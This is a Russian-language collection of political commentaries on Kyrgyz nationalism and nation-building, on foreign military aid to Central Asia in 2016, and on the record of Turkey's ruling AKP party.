В настоящее время синдром меньшинства дополняется внедряемым в сознание людей чувством вины или синдромом «неблагодарного младшего брата», которого поставили на путь цивилизации, помогли развиться экономически, однако «неблагодарный младший брат» не полностью лоялен и позволяет себе выпады против «старшего брата».

Кстати, синдром младшего брата – многослойный и проявляется не только в отношении русского этноса, но и в отношении казахов. Реверансы нашего политического руководства в отношении руководителей России и Казахстана, безусловно, имеют политическую составляющую, например, включающую членство в ЕАЭС или миграционную зависимость Кыргызстана от этих двух стран. Тем не менее, они также являются отражением этнических комплексов, имеющих в своей основе память о существовании ранжирования формально равноправных республик Советского Союза.

Это сложная этнопсихологическая проблема, которая только еще более усугубляется другими сконструированными уже в период независимости синдромами – синдромами бедного, малого, несостоявшегося или деградирующего государства, государства, значительное число граждан которого вынуждено жить в трудовой миграции, полукриминального или коррумпированного государства и другими.

После развала СССР в Кыргызстане, как и в других республиках бывшего СССР, наблюдалось усиление национализма, но здесь это, в основном, касалось уровня бытового общения. Были определенные запросы на самоутверждение кыргызов в качестве титульного или государствообразующего этноса, но такие идеи было слабо оформленными и не играли доминирующей роли в политическом пространстве. Если в некоторых советских республиках уже в период перестройки Горбачева появились предпосылки для национального объединения и существовали общественные движения, требовавшие реализации прав на национальное самоопределение (Прибалтика, Казахстан, например), в Кыргызстане не было каких-то организованных политических сил или движений с националистической платформой, хотя и были отдельные политики с риторикой националистов. Демократическое Движение Кыргызстана (ДДК), образовавшееся почти накануне распада Советского Союза, хотя и выступало в защиту прав кыргызской сельской молодежи на работу, земельные наделы и жилье, скорее было движением за социально-экономические права, нежели националистическим.

Примерно ко второй половине 1990-хх годов националистический дискурс значительно ослаб, и все чаще стали звучать задачи о необходимости сплочения всех этносов, построения мультикультурного общества, где все этносы равноправны. Неспроста появился акаевский лозунг «Кыргызстан – наш общий дом», впрочем, за него позднее первого президента будут сильно критиковать. Другой акаевский лозунг «Кыргызстан – Швейцария Центральной Азии» тоже может восприниматься как попытка укрепления общей идентичности граждан вокруг положительного образа страны. Какова была роль этих лозунгов – это, возможно, тема отдельного разговора. На мой взгляд, все-таки они сыграли положительную роль в смысле недопущения крайних форм национализма. Кроме того, как бы ни муссировался языковой вопрос, лингвистический национализм в Кыргызстане также не приобрел каких-то крайних форм. Русский язык был объявлен официальным, на нем велось и до сих пор ведется делопроизводство, и в целом применение русского языка не ограничивалось. В последние годы, наоборот, многие кыргызы выступают за билингвизм и улучшение преподавания русского языка в кыргызских школах. Отказались в нашей республике и от идеи перевода алфавита с кириллицы на латиницу.

В целом, нужно отметить, что сторонники идеи этнической исключительности кыргызов на протяжении всего транзитного периода не находили массовой поддержки среди граждан. Что касается властных структур, этно-ориентированные националисты не имели доминирующего положения, даже после 2010 года, когда в парламент попало определенное число депутатов, выступавших за изъятие официального статуса русского языка и продвигавших идею строительства этнической нации.

Анар Мусабаева, политический аналитик

Забегая вперед, отмечу, что присутствие этих политиков все же усложнило процесс разработки и принятия Концепции укрепления единства народа и межэтнических отношений в Кыргызской Республике. Прежде чем был подписан президентский указ об утверждении этой концепции, было разработано два варианта документа. Один вариант разрабатывался группой депутатов Жогорку Кенеша (парламента Кыргызстана) под руководством Нодиры Нурматовой, депутата от фракции «Ата-Журт», другой – Ассамблеей народов Кыргызстана. Обсуждение концепций в гражданском обществе было достаточно активным. Многие называли проект Нурматовой националистическим, поскольку в нем кыргызский этнос определялся как центральный элемент государственности. Не вполне устраивал и второй документ. В итоге аппаратом президента КР был разработан компромиссный вариант документа на основе двух предыдущих проектов, который, впрочем, ввиду своей компромиссной природы, был раскритикован экспертами как эклектический, понятийно запутанный и имеющий недочеты в плане механизмов реализации.

Принятая концепция стала первым документом этнической политики государства, в основу которого была положена идея построения гражданской нации в Кыргызстане на «основе объединяющей роли государственного кыргызского языка как важнейшего элемента консолидации общества и сохранения этнического многообразия и этнокультурных особенностей этносов Кыргызстана».

Очень важно отметить, что 2010 год стал большим испытанием для Кыргызстана, в том числе и с точки зрения нациестроительства. До этого времени никто в государстве серьёзно не задумывался об отношениях между кыргызами и другими этническими группами, не существовало институционального механизма, ответственного за эту сферу. Так, отдел этнической, религиозной политики и взаимодействия с гражданским обществом в аппарате президента Кыргызской Республики был учрежден только в 2011 году, а в 2013 году образовано Государственное агентство по местному самоуправлению и межэтническим отношениям при правительстве Кыргызской Республики.

Трагические события 2010 года со всей очевидностью высветили важность вопросов «кто мы?», «какой выбор мы делаем как страна», «какова наша самоидентификационная модель», «есть ли у нас общая идентичность», «какое государство мы строим», «есть ли кыргызская нация и что она из себя представляет»? На самом деле, это сложные вопросы, и ответы на них еще не совсем найдены.

Современные националистические дискурсы в Кыргызстане

В данном разделе речь идет о проявлениях национализма в общественном дискурсе. Надо сказать, что очень привычно говорить о кыргызском национализме, поскольку кыргызы в Кыргызстане являются этническим большинством. Но, на мой взгляд, важно говорить о национализме и других этносов, который также имеет место, но, возможно, менее видим. В последнее время наблюдаются также формы националистического дискурса, связанные с современным политическим контекстом и не основанные на критерии этнической принадлежности. Обсуждение последних предлагается ниже.

Что же из себя представляет современный кыргызский националистический дискурс? Свидетельствует ли он об усилении кыргызского национализма?

На сегодня кыргызский националистический дискурс представлен разными взглядами и идеями, в основе которых лежит убежденность в необходимости защиты и продвижения интересов кыргызов как нации. Данный дискурс существует, в основном, в пространстве кыргызско-язычных печатных СМИ, в электронных СМИ и на телевидении. В основном эти СМИ выступают за возрождение национальных традиций, культуры, нравственности. Есть также стремление «возродить дух кыргызов», и делается это через использование мифического и исторического компонентов самоидентификации, которые, по замыслу, должны служить укреплению чувства национальной гордости за свой этнос и тем самым способствовать укреплению общей идентичности. В самом стремлении вернуться к истокам и возродить духовные корни народа нет ничего плохого. Но способы, методы и средства далеко не однозначны и зачастую вызывают неприятие (если сказать мягко) среди представителей других этносов.

В националистическом дискурсе также присутствуют идеи возрождения и развития кыргызского языка, повышения его роли в общественной и политической жизни, критикуются власти за то, что за более чем два десятилетия сделано очень мало для возрождения языка. Многое в этом дискурсе вполне обоснованно, если учесть, что кыргызский язык сильно утратил свои позиции во времена СССР, он практически вырождался и становился символом отсталости. Так, в столице Кыргызстана существовала только одна школа (из 60), в которой обучение велось на кыргызском языке. Во всех вузах обучение шло также на русском языке.

Говоря о языке, важно отметить проблемы с формированием единого информационного пространства в Кыргызстане. К сожалению, информационное пространство сильно фрагментировано, что является серьёзным фактором разделения общества по этническим линиям. Языковая дифференциация, при которой русскоязычный и кыргызскоязычный сегменты населения представляют собой два разных не сообщающихся сосуда, не способствует консолидации общества. Схожая проблема существует на юге страны, где жители больше смотрят и слушают узбекские телеканалы и радио.

В меньшей степени, чем традиционно-возрожденческий и языковой дискурсы, в информационном пространстве присутствуют националистические дискурсы, связанные с призывами осуществить переоценку советского наследия в смысле ценностей, моральных и нравственных принципов.

С другой стороны, в последнее время в связи со столетием события заметен интерес общества к исторической переоценке восстания кыргызов в 1916 году (Уркун) как национально-освободительного движения против царской России. Намерения правительства отметить 100-летие этих трагически событий различными мероприятиями вызывают неприятие части общества, откровенно подпитываемое извне, как попытка националистов реставрировать или переделать историю, создать исторические мифы и внести семена раскола в отношения между этносами.

Обсуждая националистический общественный дискурс, необходимо подчеркнуть, что в Кыргызстане нет четко выраженных политических платформ кыргызского национализма. Несмотря на националистическую риторику отдельных политиков, в стране отсутствуют политические партии, в основе идейной платформы которых лежит идея этнонационализма. Даже партии, которые позиционировали (позиционируют) себя защитниками интересов кыргызского народа, неспособны предложить программу или проект будущего, альтернативные официальному курсу. Очевидно то, что политики используют националистические лозунги главным образом во время избирательных кампаний для привлечения определённого электората. В целом, мобилизационный потенциал национализма как политической идеологии достаточно слаб. В стране не существует лидера, который обладает консолидирующим потенциалом на основе этнического национализма. Это неудивительно, поскольку основная масса власть предержащих вышли из советской системы, они и мыслят, и управляют по-советски. Определенное обновление политической элиты происходит, но медленно и не всегда за счет нового поколенческого сегмента, а зачастую за счет пополнения из числа нуворишей и компрадоров.

Достаточно интересным явлением, характерным для Кыргызстана, стало еще одно направление общественного дискурса, связанное с национализмом, но в другом понимании. В отличие от предыдущих форм этнонационалистического дискурса, данное направление связано с критикой решения руководства Кыргызстана о вступлении в Таможенный союз и ЕАЭС и отказа от многовекторной внешней политики. Носители этого дискурса представляют разные этносы, они в основном существуют в интернет-пространстве, а также частично доносят свои идеи через телевидение. Эта группа институционально не оформлена, она достаточно условна и размыта. Условно можно назвать данное направление как «Защитники суверенитета» поскольку во главу угла они ставят право Кыргызстана вести самостоятельную политику без оглядки на более сильных региональных игроков и противодействие попыткам ограничения суверенитета страны путем втягивания в неравноправные интеграционные объединения.

Хотя это направление слабо, но, возможно, будет набирать силу, поскольку для этого есть определенные предпосылки, в частности – растущее разочарование в обществе по поводу вступления в ЕАЭС, ухудшающаяся экономическая ситуация в стране и возможность нарастания социального напряжения, а также некоторые непопулярные среди населения законы или их проекты. Весьма показательно недавнее бурное обсуждение в социальных сетях проекта «Соглашения между правительством Кыргызской Республики и правительством Российской Федерации о сотрудничестве в области массовых коммуникаций», по которому федеральным телеканалам «Первый канал», «Всемирная сеть» и «РТР Планета» будет придан особый статус. Данное соглашение вызвало резкую критику в гражданском обществе как неправильный шаг правительства, создающий угрозы национальной информационной безопасности.

В целом, за исключением последнего дискурса, который объединил представителей разных этносов, в Кыргызстане доминирует традиционное представление о том, что национализм является кыргызским этническим национализмом и направлен он, прежде всего, на укрепление интересов кыргызского этноса.

Проект будущего и проблемы консолидации кыргызской нации

Проблемы национальной консолидации связаны во многом с историей. На протяжении веков кыргызы жили в составе разных государств и оставались периферийным этносом. Это относится и к периоду нахождения в составе Российской империи, а затем в составе СССР. Сформировавшаяся экономическая, культурная и политическая зависимость от метрополии лишили политическую и интеллектуальную элиту навыков целеполагания и выработки собственной политики. В итоге за два с лишним десятилетия периода независимости Кыргызстан так и не смог выработать свой собственный проект будущего. Не получилось разработать государственную идеологию или стратегию, которая нашла бы отклик в сознании если не большинства, то хотя бы среди значительной части граждан. Но попытки были.

На мой взгляд, именно ввиду отсутствия проекта будущего, для Кыргызстана более характерно обращение в историю, поиск «золотого века» кыргызов и их государственности, чтобы черпать оттуда какие-то идеи для современности. 1000-летие эпоса «Манас», 2200-летие кыргызской государственности, 3000-летие города Ош — все это подобные примеры. В этом контексте, как мне кажется, нарождается еще один водораздел в обществе. Не секрет, что при обсуждении традиций, культуры кыргызов в тех же кыргызскоязычных СМИ очень часто употребляется идея о том, что кыргызы – улуу эл, то есть великий народ. По моим наблюдениям в последнее время формируются критические позиции среди самих кыргызов в отношении подобных высказываний, некоторые даже дали название этому феномену – улуумания. В основе критицизма улуумании лежит идея о том, что чрезмерное возвеличивание нации по критерию ее древности и особых нравственных характеристик без учета современных реалий, учета недостатков, присущих представителям этой нации на современном этапе, и попыток устранить эти недостатки никакого развития не будет. По-видимому, можно считать, что это зачатки здоровой дискуссии и понимания важности развития нации, трезвой оценки своего опыта и использования лучших образцов чужого опыта.

Безусловно, никто не спорит с необходимостью реставрации истории кыргызов и Кыргызстана. Но кроме мифологических и этнографических материалов важно использовать документированные материалы на разных языках. Для этого наши историки должны обладать соответствующим потенциалом (научным, языковым) и ресурсами. Плачевное состояние финансирования нашей исторической, как, впрочем, и всей науки всем известно. Правда, в связи с тем, что 2016 год был официально объявлен в Кыргызстане Годом истории и культуры, маленький оптимизм все-таки присутствует.

Попытки укрепления национальной гордости через популяризацию эпоса «Манас», поиски национального бренда страны, съемки исторических фильмов, попытки возрождения тенгрианства как исконной религии кыргызов – это примеры шагов, которые предпринимались для укрепления общей идентичности. Однако все эти попытки обращены в прошлое, но не настоящее, и тем более – не в будущее.

Отсутствие в Кыргызстане собственного проекта будущего служит препятствием к осмыслению места, которое наша страна занимает в современном мироустройстве. В контексте вступления Кыргызстана в ЕАЭС интересен вопрос, является ли это выбором будущего вектора и соответствует ли он выбору большей части граждан?

С одной стороны, есть значительное число людей, которые одобряют разворот Кыргызстана в сторону партнеров из бывшего СССР. Вступление в ЕАЭС воспринимается ими как возвращение на круги своя. Агитация нашего правительства и «мягкая сила» союзников сыграли в этом свою роль. Означает ли это то, что Кыргызстан устал от поиска своей формулы суверенного развития и предпочитает снова оказаться в привычной роли «младшего брата», или это вынужденный шаг, хотя и формально добровольный? В последнем случае как это отразится на процессе государствостроительства? Или, это и есть наш проект будущего?

С другой стороны, в настоящее время растет и число тех, кто воспринимает вступление Кыргызстана в ЕАЭС как неправильный шаг руководства страны, создающий угрозы для сохранения суверенитета страны. Можно ли сказать, что это зачатки гражданского национализма, тем более учитывая, что данный лагерь объединяет представителей разных этнических групп? Имеет ли данное направление национализма политический мобилизационный потенциал?

Эти вопросы требуют серьёзного обсуждения на экспертном уровне и, возможно, проведения специальных исследований.

Одна из главных причин отсутствия проекта будущего заключается в отсутствии консолидированной политической элиты, которая опиралась бы на какую-то большую идею. Политические деятели, которые крутятся во властных структурах, являются по большей части самоназванной элитой и морального авторитета не имеют. Интеллектуальная элита предпочитает отмалчиваться по вопросам нациестроительства, опасаясь нападок в свой адрес, в результате чего в дискуссионном поле часто тон задают неквалифицированные люди или откровенные мракобесы.

Весьма важным вопросом, касающимся национальной консолидации, является вопрос о готовности элит и всего общества к строительству гражданской нации. Несмотря на принятие Концепции укрепления мира и межэтнического согласия, вряд ли можно утверждать, что в обществе есть консенсус о том, что нужно строить гражданскую нацию. Общество пока не готово и к тому, что понятие кыргызской нации будет в себя включать все этносы, проживающие в Кыргызстане. К этому не готовы как кыргызы, так и другие этносы. Сам этноним «кыргыз» пока недостаточно привлекателен для представителей других этносов. Это связано и с уровнем экономического развития Кыргызстана (где особенно нечем похвастаться) и сложившимися стереотипами по поводу «кыргызчылык», феномена, который даже среди самих кыргызов ассоциируется с понятиями «некачественно», «абы как», «непрофессионально», «не по закону» и другими негативными ассоциациями.

Кыргызстан упустил возможность сделать образ страны привлекательным как во взаимоотношениях с внешним миром, так и для собственных граждан, когда постепенно терял репутацию «островка демократии». Не смогли мы воспользоваться во благо страны и тем авансом доверия со стороны международного сообщества, который присутствовал после тюльпановой революции 2005 года. Власти создали ситуацию, приведшую к ухудшению имиджа страны и приобретению Кыргызстаном репутации несостоявшегося государства, но при этом предпочли переложить вину за состояние страны на пресловутые «внешние силы».

Вопросы консолидации нации и поиска проекта будущего связаны с вопросами множественных идентичностей кыргызстанцев и возможностями вовлечения страны в проекты внешних игроков.

Какую роль играет исламская идентичность кыргызов в процессах нациестроительства? Противоречит ли ислам существованию нации-государства? Опасно ли с точки зрения нациестроительства усиление влияния исламской религии и активизирующаяся с каждым днем религиозная социализация? Какую роль играют тюркизм, номадизм, родоплеменная или региональные идентичности в процессе нациестроительства? Пока обсуждение этих тем остается фрагментированным и не позволяет сделать более или менее обоснованные выводы.

Заключение

Обсуждать вопросы национализма в Кыргызстане всегда было сложно, особенно после 2010 года, потому что по инерции внимание переключается на сферу межэтнических отношений и в таком контексте национализм всегда имеет негативную коннотацию.

Понятийная неразбериха и отсутствие консенсуса по поводу того, что считать нацией, а также разделение дискуссионного поля на русскоязычный и кыргызоязычный сегменты является серьёзным препятствием для общественного диалога. Зачастую это два параллельных мира, редко пересекающихся и несущих разные смыслы и сигналы, что само по себе содержит в себе скорее конфликтный, нежели консолидирующий потенциал.

Несмотря на все эти трудности, вопросы национализма остаются актуальнейшими для Кыргызстана и требуют всестороннего обсуждения, прежде всего на экспертном уровне. Межэтнический конфликт 2010 года остро высветил необходимость поиска ответа на вопросы «кто мы?», «какое государство строим?», «как нам относиться к своему прошлому и какое будущее мы хотим для своей страны?». Это был для нас очень драматичный период, когда хрупкость нашей государственности стала очевидной.

Два процесса – процесс государствостроительства и процесс нациестроительства – являются важными процессами для Кыргызстана, не так давно вступившего на самостоятельный путь развития. Суть их в том, сможет ли Кыргызстан стать самоуправляемой страной и согражданством, объединенным общим самосознанием, идентичностью, системой ценностей и культурой.

Небольшой анализ, предложенный выше, позволяет говорить о том, что на данном этапе оба процесса не завершены. Процесс национального объединения и консолидации, а также поиск идентичности идут сложно и хаотично. Гибридная идентичность или многослойные идентичности жителей нашей страны пока еще не позволяют центростремительным силам полностью перевесить центробежные силы. Такое состояние общества не способствует консолидации и укреплению государственности. А без этого сложно говорить о строительстве гражданской нации или согражданства.

То, что на протяжении всего транзитного периода сторонники крайнего этнического национализма не смогли закрепить за собой доминирующие позиции, возможно, говорит о потенциале для создания гражданской нации Кыргызстана. Однако готово ли к этому общество сейчас?

Во многом проблемы национальной консолидации связаны с историей кыргызов, с историей государственности. Вхождение Кыргызстана в состав различных государств на протяжении веков привело к утрате навыка целеполагания (прежде всего у элиты) и мешало выработке собственных моделей развития. Отсутствие в Кыргызстане собственного проекта будущего служит препятствием к осмыслению места, которая наша страна занимает или может занимать в современном мироустройстве. Пока самоидентификационные процессы обращены только в сторону прошлого.

Анар Мусабаева

http://www.fergananews.com/articles/8852

Военный бриз над Центральной Азией,

sentral asiaМесяц назад Пентагон опубликовал данные о планируемых объемах помощи странам Центральной Азии в борьбе с террором и на укрепление стабильности в регионе на 2016 и 2017 годы. Речь идет всего о 50 миллионах долларов, которые в основном должны быть потрачены на повышение эффективности охраны границы с Афганистаном. Неудивительно, что в рамках этой программы Таджикистан назван ключевым партнером в регионе. Озвученные расходы пока еще только в планах и должны быть одобрены Конгрессом США. Еще 25 миллионов на безопасность региону может выделить в 2016 году Государственный департамент США.

Несмотря на мизерную сумму, зарубежные СМИ отмечают, что это первое серьезное оживление интереса США к Центральной Азии после окончания программ обучения американцами специальных подразделений Таджикистана и Киргизии в 2012-2013 годах и что, возможно, это первые реальные шаги по возвращению США в регион, после того как в 2014 году Киргизия закрыла американскую военную базу на своей территории и в 2015 году вышла из договора о сотрудничестве и помощи. Тогда США были разочарованы и упрекнули Киргизию в том, что на становление демократии в стране они потратили впустую 2 миллиарда долларов.

В феврале этого года Таджикистану была обещана экономическая помощь в размере 279 миллионов долларов и от Европейского Союза. В 2014 году Таджикистан получил на свои военные расходы 20 миллионов долларов от США, а в 2016 году получит около 8 миллионов долларов.

В обороте и Узбекистан, где в декабре 2015 года Германия закрыла свою военную базу для переброски войск и грузов в Афганистан после 13 лет использования. В прошлом году США подарили Узбекистану 300 бронемашин ценой 100 тысяч долларов каждая. В феврале этого года представитель НАТО встретился с министром обороны и министром иностранных дел Узбекистана, чтобы обсудить текущие отношения и новую программу сотрудничества на 2016 год.

18 марта этого года на проходящей в Астане конференции «Современная внешняя политика США и ее реализация в Центральной Азии» стало известно, что США и Казахстан разработали план военного сотрудничества на 2016-2017 годы. Основные направления сотрудничества: миротворческая деятельность, повышение профессиональной подготовки вооруженных сил, а также военное образование.

В июле 2016 года в Великобритании пройдут учения «Степной орел-2016», в которых примут участие около 250 военнослужащих Казахстана. Помимо казахстанских военных и британских, в учениях будут задействованы военные США, Турции, Киргизии и Таджикистана. Американо-казахские учения «Степной орел» проходят ежегодно с 2003 года и обычно на территории Казахстана, но в 2014 году они проходили в Германии.

Впрочем, интерес к региону в военном плане проявляют не только США. Генерал пакистанской армии Рахиль Шариф встретился в Душанбе с президентом Таджикистана Эмомали Рахмоном и обсудил сотрудничество вооруженных сил двух стран в борьбе против терроризма, экстремизма и наркоторговли, чуть ранее об этом же с президентом Таджикистана разговаривал и китайский генерал Фан Фэнхуэй.

Китай в марте этого года вообще предложил создать некий пока абстрактный механизм противодействия терроризму и экстремизму в регионе, и в данный проект пригласил Таджикистан, Пакистан и Афганистан, пообещав последнему 70 миллионов долларов в виде военной помощи.

В ежегодном докладе Американо-китайской комиссии по экономике и безопасности при Конгрессе США за 2015 год отдельная глава была посвящена военным отношениям Китая и стран Центральной Азии. Американцы отмечают, что в рамках ШОС Китай уже провел 15 военных учений со странами региона, в которых Китай практикуется в переброске своих войск за пределы Поднебесной, отрабатывает координацию операций подразделений, говорящих на разных языках, оттачивает работу военной логистики, приучает своих военнослужащих к действиям в незнакомой среде. Центральная Азия также важна для китайских разведывательных служб, которые работают по теме экстремизма среди уйгуров и по наркоторговле, и нуждаются в информации от своих коллег из региона. Доклад цитирует данные, что Китай с 90-х годов и по 2014 год выделил военной помощи странам Центральной Азии на сумму всего лишь 40 миллионов долларов. Помощь включала поставку снайперских винтовок, средств связи, автомобилей, оборудования для контроля границы, а также ракеты «земля-воздух» и один беспилотник для Узбекистана. Также Китай занимался обучением военнослужащих стран Центральной Азии.

Так или иначе, авторы материалов зарубежных изданий прекрасно отдают себе отчет, что на сегодняшний день ни сотрудничество США и НАТО, ни сотрудничество Китая со странами Центральной Азии, не идут ни в какое сравнение с интересами, масштабным военным присутствием и связями России в регионе.
27.03.2016

Илья Плеханов

Источник — inosmi.ru

«Активы» Партии Справедливости и Развития

turkey flagВ 2001 году,после тяжёлого политического и экономического кризиса, в Турции к власти пришла Партия справедливости и развития (ПСР). ПСР смогла собрать под свои знамёна представителей самых разных слоёв турецкого общества. Основными лозунгами, которые оказались привлекательными для избирателей, стали возрождение религии, укрепление здорового консерватизма, построение дружественных отношений с соседними странами, развитие предпринимательства. Конечно, были даны обещания улучшить условия жизни в сельской местности,усилить образование и культуру, развить демократию. Благодаря привлекательным обещаниям, ПСР создала свою социальную базу –то, что называется «электоратом».

Что же стало с этими обещаниями и почему проправительственная партия все последние годы только теряет своих избирателей? Как реализовывались данные обещания? И почему политическая жизнь последних лет в Турции превратилась в живой учебник потери электората и доверия избирателей?

Первыми «под нож» было пущено то, что могло быть привлекательным не только для Турции,но и для всех государств, исповедующих ислам. Турция, объявившая себя «лидером мусульманства», на деле делала всё, чтобы подчинить своему влиянию близлежащие арабские страны, фактически возрождая политику, приведшую почти к полному разрушению страны в начале прошлого XX века, и спасённую тогда усилиями Мустафы Кемаля Ататюрка и его соратников.Всё,с чем боролся Ататюрк – создание всемирного халифата,узурпирование власти в руках одного человека, усиление светского образования, – вернулось в полной мере и уже как новая государственная политика.

«Укрепление здорового консерватизма» обернулось неуёмным желанием подчинить контролю правительства, а иногда – и просто аппарату президента, все более-менее значимые общественными институты. Правительствостраны, любящее выступать на фоне портрета Мустафа Кемаля Ататюрка, фактически возродило всё, с чем боролся Ататюрк – единоличное управление под видом демократических реформ, имперские планы по возрождению халифата, возрождение и укрепление различных религиозных орденов, которые стали напрямую вмешиваться в общественную жизнь, диктуя свои законы.

Здоровый прагматизм,который должен определять внешнюю политику страныи приносить конкретны дивиденды экономике страны, обернулся неуёмным желанием подчинения и дальнейшего использования в собственных целях различных исламистских движений и даже отдельных стран. Попытки воспользоваться «арабской весной» и превратить Турцию в «единственного лидера всех мусульманских стран» обернулись жесточайшим противостоянием и чередой непрекращающихся терактов уже в самой Турции – в Анкаре и в Стамбуле.

«Дружественные отношения» с соседними странами, проводимые под броским лозунгом «Ноль проблем с соседями» закончились тем, что у Турции на сегодня нет соседних стран, с кем бы не было проблем.Ирак,Сирия,Греция – всё это провалы внешней политики Турции и конфликты, которые будут «аукаться» ещё много десятилетий.Не говоря уже об испорченных отношениях с Россией.

Отдельного внимания заслуживает обещанное «развитие предпринимательства» в Турции. Да,мелкий и средний бизнес смог несколько лет развиваться. При этом мало кто знает,что в стране была искусственно создана новая бизнес-элита,состоящая из верных партийцев,которым были переданы, при лоббировании правительства, самые «аппетитные» активы.Итоги приватизации ряда крупных промышленных предприятий,а иногда и целых отраслей – это тема отдельного журналистского исследования,результатами которого будут очевидные факты создания финансовой империи,контролируемой ставленниками премьер-министра,позднее – президента. Результат – неуёмная коррупция на уровне министров и ключевых государственных деятелей. Информация об этой глубочайшейкоррумпированности государственных органов только изредка прорывается до общества – как это было в 2013 году, когда в результате грандиозного скандала были арестованы глава государственного банка Halkbank, сыновья министров, уволены четыре министра и ещё 24 человека из самых влиятельных финансовых кругов. Семья самого премьер-министра тогда большими усилиями была выведена из-под подозрений в участии в криминальных схемах, но значительную часть избирателей ПСР потерялабезвозвратно.

Протекционизм, негласная поддержка со стороны правительства создали ложный эффект того, что новые собственники действуют намного эффективные прошлых, – создавались рабочие места, новые промышленные направления. А на деле Турция, увлёкшись дешёвыми портфельными инвестициями, оказалась в жесточайшей зависимости от иностранных денег. На конец 2013 года доля прямых инвестиций в экономике Турции составляла $ 11 млрд долларов, тогда как доля портфельных инвестиций достигла $26 млрд. В результате, «новые предприниматели» так перекроили государственный бюджет в свою пользу,что теперь один процент населения Турции получает около пятидесяти процентов национального дохода. Действующая система «политического» управления «свободным предпринимательством» обернётся крахом экономики при первых же политических потрясениях,которые, уже очевидно,ожидают Турцию.

«Развитие демократии», обещанноеПСР, на сегодня обернулось фактическим уничтожением оппозиционной прессы. Любое критическое выступление в адрес властей,даже сказанное самыми авторитетными журналистами, заканчивается арестами,как это было с главным редактором и газеты «Cumhuriyet» Джаном Дюндаром и корреспондентом этого издания Эрдемом Гюлем. Журналистское сообщество отлично помнит, как турецкая полиция брала штурмом стамбульские офисы телевизионных каналов «Bugün» и «Kanaltürk».Свободной прессы просто не существует. События последних трёх лет заставили многих журналистов уйти из печатных сми в Интернет, а действующие правительство – выступить с инициативой запрета сервисов YouTube, Twitter, Facebook … В 2010 году в Турции под арестом содержалось более ста журналистов. В 2012–2013 годах Турция уже уверенно удерживала первое место в мире по числу находящихся в заключении журналистов. Правительство, понимая, какойимидж создаёт себе на международном поле, постепенно изменило политику давления на журналистов с арестов на увольнения. Здесь счёт пошёл уже на тысячи. За период правления ПСР уволено почти две тысячи журналистов.Самым показательным стало «выяснение отношений» между ПСР и медиа-холдингом«Doğan», начавшееся с критических замечаний в адрес правительства и закончившееся угрозой правительства взыскать с холдинга $ 2,5 млрд.Это было последним предупреждением для средств массовой информации Турции: любая критика будет жестоко пресекаться; и это закончится арестом или налоговыми проверками по заказу правительства с предсказуемыми результатами. Даже если последняя судебная инстанция, Конституционный суд, постановляет освободить журналистов, как это произошло с Джаном Дюндаром и Эрдемом Гюлем уже только в марте этого года, то тогда президент страны открыто угрожает уже одному из важнейших государственных институтов, и открыто говорит о том, что следующее подобное решение поставит под угрозу существование самого Конституционного суда. Что это,- авторитаризм, достигший крайних проявлений? Показатель того, что происходит уничтожение последних демократических институтов? Предупреждение всем, кто будет думать по-другому, чем действующая власть?  Очевидно, всё перечисленное вместе…

 

Другое стратегическое направление общественной жизни Турции,проводимое действующим правительством под лозунгом «усиление культуры и образования»,обернулось уничтожением любого инакомыслия в обществе. Интеллигенция,представители науки фактически дистанцировались от действующего правительства. Подтверждение этому – открытое обращение 1128 турецких и зарубежных учёных к правительству страны в январе этого года.В петиции, получившей название «Мы не будем частью этого преступления», сказано: «Мы осуждаем все виды давления власти на оппозицию. Требуем прекратить немедленно насилие против граждан страны. Мы, учёные этой страны, не будем молчать и становиться немыми свидетелями преступлений властей».Президент Турции тут же обвинил деятелей науки в невежестве: «Эта толпа, которая называет себя учёными, обвиняет государство в своём заявлении. Эй вы, так называемая интеллигенция! Вы не просвещённые, а тёмные люди. Вы совсем не похожи на интеллектуалов. Вы невежды и ничего не знаете о востоке и юго-востоке (Турции). А мы знаем этот регион как свои домашние адреса». Допускаю, что президент хорошо знает географию своей страны.Но он точно не знает, что среди подписавших обращение к правительству – «звёзды» современной науки, причём не только турецкой:философ мирового масштаба,выдающийся интеллектуал Ноам Хомский, один из самых цитируемых интеллектуалов всех времён и народовв области гуманитарных и общественных наук Дэвид Харви, социолог, один из основателей мир-системного анализа Иммануил Валлерстайн. Мнение этих людей для мировой общественности часто несравнимо выше и значимее,чем слова отдельных президентов.Поэтому правительство Турции может уверенно зачислить «в актив» потерю доверия ещё одной значительной группы избирателей – учёных и преподавателей,а вместе с ними – и активного и многочисленного отряда студентов высших учебных заведений страны.

Кроме учёных и молодёжи, к «потерянным» избирателям однозначно можно отнести военных Турции и членов их семей. После «чистки», проведённой в армии, традиционно самойзначительной политической силы Турции, под видом существования мифического заговора, были уничтожена плеяда потомственных военных,выходцев из самых известных семей.

Но самой большой проблемой для правительства Турции может обернуться потеря доверия у «тихой» и «молчаливой», но при этом, возможно, ключевой части электората, – крупных финансовыхинститутов и инвестиционных групп. Крупный бизнес Турции – это самое «проблемное место» для действующего правительства, потому что, как известно, никто не будет мириться с миллиардными потерями. «Большие деньги»,сопоставляющие своё будущее с государственной политикой,уже многие годы систематически теряют миллиардные вложения по всем направлениям внешней политики Турции. Это произошло в Сирии, в Египте, в Украине. А потери турецких инвесторов в России из-за непродуманных (а в случае со сбитым российским самолётом – просто провокационных) действий действующего правительства Турции, сталикатастрофическими и для внутренней, и для внешней экономики. Нет ни одной области, которая не оказалась бы в значительном убытке: строительство,туризм,транспортная инфраструктура,лёгкая промышленность, производство продуктов питания. В 2014 году россияне обеспечили 12 процентов всего туризма Турции и принесли в эту отрасль экономики $2,7 млрд. А российские предприниматели, занятые в частном бизнесе, «добавили» экономике Турции ещё $4 млрд.В этом году страна,- особенно после терактов в Анкаре и в Стамбуле,- потеряла не только российских, но и немецких туристов, которые стабильно делили между собой первые и второе места по количеству туристов, посещающих Турцию. Теперь о туристах из России и Германии турецкий гостиничный бизнес, общепит и торговля будут только мечтать, как о навсегда прошедших золотых временах. В результате – весь огромныйперсонал, занятый в этих сферах, включая кожевенные и текстильныефабрики, кафе и рестораны, отели и курорты, скажут «спасибо» собственномуправительству с вытекающими выводами на вотумах доверия.

